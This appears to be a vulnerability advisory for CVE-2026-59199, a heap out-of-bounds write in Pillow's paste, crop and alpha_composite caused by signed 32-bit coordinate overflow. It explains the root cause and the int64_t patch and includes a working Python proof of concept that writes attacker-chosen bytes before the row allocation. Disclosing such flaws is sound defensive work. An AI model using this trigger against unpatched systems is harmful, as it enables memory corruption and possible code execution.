high · 7.5CVE-2026-59199Jul 20, 2026

CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow

Rohit Hatagale
AI Security Researcher, SecureLayer7

Pillow's image paste, crop, and alpha_composite operations allow an attacker to trigger a heap out-of-bounds write by passing coordinate values near the signed 32-bit integer boundary, corrupting proc

PackagePillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In Pillow versions before 12.3.0, `ImagingPaste()` in `src/libImaging/Paste.c` computes region dimensions using signed 32-bit `int` arithmetic. With `dx0` near `INT_MAX` and `dx1` at `INT_MIN`, the subtraction `dx1 - dx0` wraps around to a small positive value, passing the bounds check undetected.

The paste loop then multiplies the wrapped offset by `pixelsize` (4 for RGBA) and issues a `memcpy` that writes attacker-controlled pixel bytes before the destination row allocation. The same sink is reachable through `Image.crop()` and `Image.alpha_composite()` without any malformed file or private API.

Proof of concept

A working proof-of-concept for CVE-2026-59199 in Pillow, with the exact payload below.

python
from PIL import Image

INT_MIN = -(1 << 31)

# Minimal paste trigger: dx1 - dx0 wraps to 2, passes size check,
# then writes 8 bytes 8 bytes BEFORE the destination row allocation.
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

# Scale the underwrite: source width W -> writes 4*W bytes, 4*W bytes before row
# box = ((1 << 31) - W, 0, INT_MIN, 1)

# Same root cause via Image.crop()
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Same root cause via Image.alpha_composite()
base = Image.new("RGBA", (8, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(INT_MIN + 2, 0))

The root cause is CWE-190 (Integer Overflow) feeding CWE-787 (Out-of-bounds Write). Signed 32-bit `int` subtraction in `Paste.c` (`xsize = dx1 - dx0`) wraps when coordinates straddle `INT_MIN`/`INT_MAX`, producing a small positive size that satisfies every clip check.

The downstream `memcpy` then uses the unclipped `dx0` value (still near `INT_MAX`, which after `*= pixelsize` wraps negative) as the byte offset into the destination row, writing before the allocation.

The patch (commit `ceefc348`) widens the subtraction to `int64_t` before any comparison: `int64_t xsize64 = (int64_t)dx1 - dx0`. Values outside `[0, INT_MAX]` are rejected with a `ValueError` before any copy occurs. The same promotion was applied to `ImagingCrop()` in `Crop.c`.

The fix

Upgrade Pillow to 12.3.0 or later (`pip install 'Pillow>=12.3.0'`). The fix in PR #9703 (commit `ceefc348`) changes coordinate-width arithmetic from signed `int` to `int64_t` in both `Paste.c` and `Crop.c`, rejecting any box whose computed size overflows or is negative before any memory operation is attempted.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research